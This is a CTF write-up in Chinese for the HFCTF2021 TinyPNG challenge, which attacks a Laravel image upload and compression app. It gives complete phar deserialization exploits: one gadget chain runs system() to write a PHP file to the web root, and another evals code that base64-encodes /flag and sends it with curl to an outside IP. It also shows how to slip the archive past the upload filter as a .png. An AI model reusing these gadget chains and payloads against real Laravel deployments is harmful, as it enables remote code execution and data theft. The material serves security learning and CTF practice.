HFCTF2021 TinyPNG

感谢 Naivekun 师傅的帮助

因为题目没有给全环境,所以自己 docker 搭了个环境,和 Buu 上的好像不太一样

docker 环境我会放在我的 GitHub 上,复现环境

2021-05-18 更新:

更新的部分,往下到结尾。

ZeddYu 师傅说将 HTTP2 走私的环境放到 GitHub 上了,H2走私环境

阅读源码

先阅读源码,搞清楚这个 Web 应用的具体功能和流程

Laravel 框架的默认路由位于 routes/web.php

<?php
//...    

Route::get('/', function () {
    return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');

//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

所以很容易得到这个应用有三条路由

第一条路由是返回 upload 页面,视图文件位于 resources/views/*

其他两条路由,分别看他们对应的类和方法,位于 app/Http/Controllers/*

# app/Http/Controllers/IndexController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function fileUpload(Request $req)
    {
        $allowed_extension = "png";
        $extension = $req->file('file')->clientExtension();
        if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
        {
            $content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }else {
                $fileName = \md5(time()) . '.png';
                $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
                echo "path: $path";
                return back()
                    ->with('success', 'File has been uploaded.')
                    ->with('file', $path);
            }
        } else{
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }


    }
}

IndexControllerfileUpload 方法实现了一个文件上传的功能

  • 上传的文件后缀名只能以 .png 结尾

  • 上传的文件会被存储在 public/uploads文件夹内,文件名不可控,为 \md5(time()) . '.png'

  • <?phpHALT_COMPILER 字符串进行了过滤

  • 上传成功后会返回储存的路径

# app/Http/Controllers/ImageController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ImageController extends Controller
{
    public function handle(Request $request)
    {
        $source = $request->input('image');
        if(empty($source)){
            return view('image');
        }
        $temp = explode(".", $source);
        $extension = end($temp);
        if ($extension !== 'png') {
            $error = 'Don\'t do that, pvlease';
            return back()
                ->withErrors($error);
        } else {
            $image_name = md5(time()) . '.png';
            $dst_img = '/var/www/html/' . $image_name;
            $percent = 1;
            (new imgcompress($source, $percent))->compressImg($dst_img);
            return back()->with('image_name', $image_name);
        }
    }
}

ImageControllerhandle 方法实现了一个压缩图片的功能

  • 实现了,但又没有完全实现
  • 读取 Request 中传入的 image 作为目标图片路径
  • 读取该图片,调用 imgcompress 类中的 compressImg 方法对图片进行压缩
  • 压缩完成后返回图片的路径

在来看看调用的 imgcompress 类,因为比较长,所以截取关键部分贴上来

# app/Http/Controllers/imgcompress.php

<?php

class imgcompress
{
	//...
    
	/**
     * 内部:打开图片
     */
    private function _openImage()
    {
        list($width, $height, $type, $attr) = getimagesize($this->src);
        $this->imageinfo = array(
            'width' => $width,
            'height' => $height,
            'type' => image_type_to_extension($type, false),
            'attr' => $attr
        );
        $fun = "imagecreatefrom" . $this->imageinfo['type'];
        $this->image = $fun($this->src);
        $this->_thumpImage();
    }
    
    //...
}

_openImage 方法中,getimagesize 函数会打开一个文件

而且在 PHP 4.0.5 支持后支持通过 URL 打开

image-20210430115828

于是这里我们就可以夹带私货了,比如说 phar://

修洞

先看路由 routes/web.php

Route::get('/', function () {
    return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');

//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

可以看到 //Don't expose the /image to others!

所以修洞很简单,直接注释掉/image路由即可

打洞

题目给了Apache的配置文件,开启了目录重写

所以访问/index.php/image即可访问到/image路由

我一开始看这个题目配了 HTTPS,想起来 4qE 比赛之前给我发的那篇推文,以为要打一个走私。结果是这样就绕过了。

然后这一题可以上传文件,可以读取文件,打一个 phar 反序列化

参考文章:一道CTF题引起的对laravel v8.32.1序列化利用链挖掘

题目环境里给出了 Laravel 的版本

"require": {
        "php": "^7.3|^8.0",
        "fideloper/proxy": "^4.4",
        "fruitcake/laravel-cors": "^2.0",
        "guzzlehttp/guzzle": "^7.0.1",
        "laravel/framework": "^8.12",
        "laravel/tinker": "^2.5"
    },

所以照文章找一条链下来是个不错的选择

ImportConfigurator 类

第一个是 Symfony\Component\Routing\Loader\Configurator 中的类 ImportConfigurator

该类存在一个包含了语句 $this->xxx->xxx()__destruct 方法

这样我们可以控制 $this->xxx,从而执行一些预期之外的方法

# vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php

class ImportConfigurator
{
    private $parent;
    //...
    public function __destruct()
        {
            $this->parent->addCollection($this->route);
        }
    //...
}

因为函数名不可控,找一个有 __call 方法的类

比如说 Faker 中的类 ValidGenerator

ValidGenerator 类

# vendor/fakephp/faker/src/Faker/ValidGenerator.php

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    //...
    public function __call($name, $arguments)
        {
            $i = 0;
            do {
                $res = call_user_func_array([$this->generator, $name], $arguments);
                $i++;
                if ($i > $this->maxRetries) {
                    throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
                }
            } while (!call_user_func($this->validator, $res));

            return $res;
        }
    //...
}

选用这个类是因为这个 __call 方法中包含了清晰可见的 call_user_func_arraycall_user_func

可以发现 call_user_func 的参数 $this->validator 是可控的

而另一个参数 $res 是从 call_user_func_array 函数中获得的返回值

call_user_func_array 的参数中,$this->generator 是可控的

但我们无法控制他的返回值,即无法控制 $res

另一个参数 $name 是不可控的,且值为 addCollection

另外我们为了触发一次 call_user_func,这里选择将 $this->MaxRetries 置为 1 即可

image-20210430163442769

DefaultGenerator 类

我们再看到 Faker 中的类 DefaultGenerator

# vendor/fakephp/faker/src/Faker/DefaultGenerator.php

class DefaultGenerator
{
    protected $default;
	//...
	public function __call($method, $attributes)
    	{
        	return $this->default;
    	}
    //...
}

这里的 __call 方法会返回一个我们完全可控的 $this->default

于是到这里,ValidGenerator 中的 $res 参数就是我们可以控制的了

调用链

梳理一下调用链

<?php

class ImportConfigurator
{
    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }
}

class ValidGenerator
{
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array([$this->generator, $name], $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

class DefaultGenerator
{
    public function __call($method, $attributes)
        {
            return $this->default;
        }
}

1、通过 ImportConfigurator 类的 __destruct 方法触发 ValidGenerator 类的 __call 方法

2、ValidGenerator 类的 __call 方法中的 call_user_func_array 函数

3、触发 DefaultGenerator 类的 __call 方法

4、DefaultGenerator 类的 __call 方法返回值完全可控

5、ValidGenerator 类的 __call 方法中的 call_user_func_array 函数返回值 $res 可控

6、ValidGenerator 类的 __call 方法中 call_user_func 函数的两个参数都可控

条件梳理

  • ImportConfigurator->parent = ValidGenerator 类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator 类
  • DefaultGenerator->default = [任意可控函数参数]
  • ValidGenerator->validator = [任意可控函数名称]

phar 反序列化

phar 反序列化是 BlackHat 2018 公布的一种不需要 unserialize 函数就能触发反序列化的方法

因为百度出来的复制来复制去都是那几篇文章,这里附一份 BlackHat 2018 的讲义

PHAR 文件是 PHP Archieve 的缩写,也就是类似于 Java 的 JAR 包的一种压缩文件

image-20210430120902

PHP 在读取 PHAR 文件的时候会对 .phar/.metadata.bin 中的内容进行反序列化

# exp1.phar.tar.gz/.phar/.metadata.bin

O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":1:{s:72:" Symfony\Component\Routing\Loader\Configurator\ImportConfigurator parent";O:20:"Faker\ValidGenerator":3:{s:12:" * generator";O:22:"Faker\DefaultGenerator":1:{s:10:" * default";s:34:"echo "<?php phpinfo(); ?>" > 1.php";}s:12:" * validator";s:6:"system";s:13:" * maxRetries";i:1;}}

.phar/stub.php 是 PHAR 文件的一个标志,即 __HALT_COMPILER(); ?>

image-20210430121227

PHP 不会理会这个标志前面是什么东西,他只管把这个标志后面的部分作为 PHAR 包来解析

test.txt 是随便一个什么东西,是一个为了完成压缩而随意构造的东西,PHAR 反序列化的重点也不在这里 2333

因此只要 PHP 能以 phar:// 协议读取这个文件,我们的目的就达到了

EXP

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        function __construct($param){
            $this->default = $param;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($func,$param){
            $this->generator = new DefaultGenerator($param);
            $this->maxRetries = 1;
            $this->validator = $func;
        }
    }
}
namespace{
    $phar = new Phar('exp1.phar');
    
    $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
    
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER();?>');
    $phar->addFromString('test.txt', 'test');
    $o = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
        new Faker\ValidGenerator('system','echo "<?php phpinfo(); ?>" > 1.php')
    );
    $phar->setMetadata($o);
    $phar->stopBuffering();
    echo serialize($o);
}

因为上传文件有对 stub 和 php 的过滤,加一行语句压缩一下就能过

压缩后的文件内容

image-20210430121617

足够抽象了吧 233

生成出来的 exp1.phar.tar.gz,改名为 exp1.png

P.S. 因为 PHP 8 在遇到异常的时候会作为错误处理,停止执行代码

所以如果题目环境是 PHP 8 好像是打不通的 (我是 Manjaro 神教,被坑了不短时间 2333)

image-20210429190751

上传文件,然后访问路由 /index.php/image?image=phar://./uploads/xxxxxxx.png

image-20210429190759

image-20210429190813

会返回 500 错误,我开了 Laravel DEBUG 所以页面上有详细信息

但是 phar 反序列化已经执行了,所以会在 public 目录生成一个 1.php

image-20210429190820

访问 /1.php 即可

官方版本 EXP

参考了 ZeddYu 师傅的推文。

本地环境和 Buu 远程环境不太一样,我的 EXP 好像没打通,官方解用了另一条链。

有兴趣的师傅可以跟一下这条链。

<?php

namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;

        function __construct()
        {
            $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }

    class BroadcastEvent
    {
        public $connection;

        function __construct($evilCode)
        {
            $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
        }

    }
}

namespace Illuminate\Support {
    class MessageBag
    {
        protected $messages = [];
        protected $format;

        function __construct($inner)
        {
            $this->format = $inner;
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader
    {
    }
}

namespace Mockery\Generator {
    class MockDefinition
    {
        protected $config;
        protected $code;

        function __construct($evilCode)
        {
            $this->code = $evilCode;
            $this->config = new MockConfiguration();
        }
    }

    class MockConfiguration
    {
        protected $name = 'abcdefg';
    }
}

namespace {
    $code = '<?php $s=base64_encode(file_get_contents("/flag"));system("curl http://xx.xx.xx.xx:5555/?a=".$s);exit; ?>';
    $expected = new \Illuminate\Broadcasting\PendingBroadcast($code);
    $res = new \Illuminate\Support\MessageBag($expected);

    @unlink("exp2.phar.tar.gz");
    $phar = new Phar("exp2.phar");
    $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
    $phar->setMetadata($res);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    echo serialize($res);
}

HTTP2 走私

原来 /index.php/image 真的是非预期。

ZeddYu 师傅的推文里有提到 HTTP2 走私才是预期解。

我这里贴一下 4qE 发给我的文章:BlackHat:HTTP 请求走私的新变体、新防御

等我把走私复现了再更新博客 233